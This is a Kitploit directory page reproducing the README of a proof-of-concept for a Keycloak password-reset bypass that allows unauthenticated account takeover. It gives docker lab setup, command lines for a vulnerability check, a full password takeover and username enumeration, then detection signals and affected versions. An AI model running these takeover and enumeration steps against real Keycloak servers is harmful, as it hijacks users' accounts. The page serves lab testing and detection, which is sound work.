Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Keycloak_CVE-2026-18963_PoC — This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...). | Kitploit
أدوات/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLabs & Practice
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...).

عرض المستودع
1413منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

CVE-2026-18963

Keycloak reset-credentials bypass → unauthenticated account takeover CVSS 9.1 | Affected: Keycloak 26.0.0 – 26.7.1


Layout

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Requirements

  • Docker + Docker Compose
  • Python 3.9+ (standard library only, nothing to install)
  • Linux

Step 1: Start the lab

root@kitploit:~
docker compose up -d

Or run Keycloak directly, without the realm import:

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Wait ~30–60 seconds for Keycloak to finish booting.

Services

ServiceURLVersionStatus
kc-vulnhttp://localhost:808026.7.1VULNERABLE ⚠️
Mailpithttp://localhost:8025latestCaptures email

Default credentials

  • Keycloak admin: admin / admin
  • Victim user: victim / OriginalPassw0rd!
  • Realm: poc | Client: poc-app
  • Verify config: Realm settings → Login tab → Forgot password is ON.
  • If the poc realm or the victim user is missing, import it manually: Manage realms → Create realm → Upload realm-poc.json.

Step 2: Run the PoC

Safe check (no username required, no side effects)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Expected result on kc-vuln: [!] VULNERABLE — email gate execution served


Non-destructive proof (stops at the Update Password form)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Side effects: a reset email is sent to the victim (view it at http://localhost:8025), and emailVerified is set to true.


Full takeover

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Afterwards, verify by logging in at http://localhost:8080/realms/poc/account with victim / PoCPassw0rd!1.


Username enumeration

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Step 3: Reset the victim to its initial state

The realm is imported only on first boot, so the simplest reset is to recreate the environment from scratch:

root@kitploit:~
docker compose down -v && docker compose up -d

Alternatively, reset the password manually in the admin console (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Teardown

root@kitploit:~
docker compose down -v

Detection signals

SignalLegitimateExploit
GET /login-actions/action-token?...✅ Yes❌ No
POST .../reset-credentials with body tryAnotherWay=yes❌ No✅ Yes
SEND_RESET_PASSWORD → UPDATE_PASSWORD with the same code_id < 2 sRare✅ Always
emailVerified flips to true with no VERIFY_EMAIL event❌✅ Always

In Mailpit (http://localhost:8025) the password-reset email arrives in the victim's mailbox, but the link inside it is never clicked when the exploit succeeds.


Affected versions

Release lineAffectedFix
≤ 17 (WildFly)No—
26.0 – 26.326.0.0 – 26.x.xNone (must move to 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (vendor backport)
26.526.5.0 – 26.5.7None
26.626.6.0 – 26.6.526.6.6 (vendor backport)
26.726.7.0 – 26.7.126.7.2 ✅

Versions before 26.0 are not affected: the sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note and the "Try another way" selector screen in the reset flow were introduced in 26.0.0. Older builds simply lack the vulnerable code path — that is not the same as being patched.


References

  • Sploitus (original README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Keycloak issue: https://github.com/keycloak/keycloak/issues/51833
  • Fix PR: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
تنزيل الأداة